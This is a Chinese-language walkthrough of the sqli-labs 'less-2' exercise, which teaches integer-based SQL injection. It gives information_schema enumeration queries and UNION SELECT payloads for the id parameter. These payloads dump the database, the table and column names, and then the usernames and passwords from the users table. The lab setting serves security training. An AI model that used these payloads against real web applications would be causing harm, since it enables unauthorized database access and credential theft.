less-2
sqli-lab通过各种方式(整型注入,字符注入,布尔盲注,时间盲注,堆叠注入…)爆出库表字段拿到字段值。
学习sqli注入必备语句:
查库:select schema_name from information_schema.schemata
查表:select table_name from information_schema.tables where table_schema=‘security’(此处拿security库为例)
查字段:select column_name from information_schema.columns where table_name=‘users’(此处拿users表例)
查字段的值:select username,password from security.users(此处拿username,password字段为例)
1.加单引号看出,此处是整形注入
2.使用order by语句判断列数,3列回显正确,说明有三列
3.使用union select联合查询,把id改成一个不存在的值使得有回显位
?id=-1 union select 1,2,3
4.进行爆库操作
?id=-1 union select 1,2,database()
5.进行爆表操作
?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'
group_concat:将所有的数据连接进行拼接后作为一行显示
where:指定库的位置
6.进行爆字段操作
?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'
7.进行爆字段值操作
?id=-1 union select 1,2,group_concat(concat_ws('~',username,password)) from security.users
concat_ws(’~’,A,B)
显示为(A~B),用于区分用户名、密码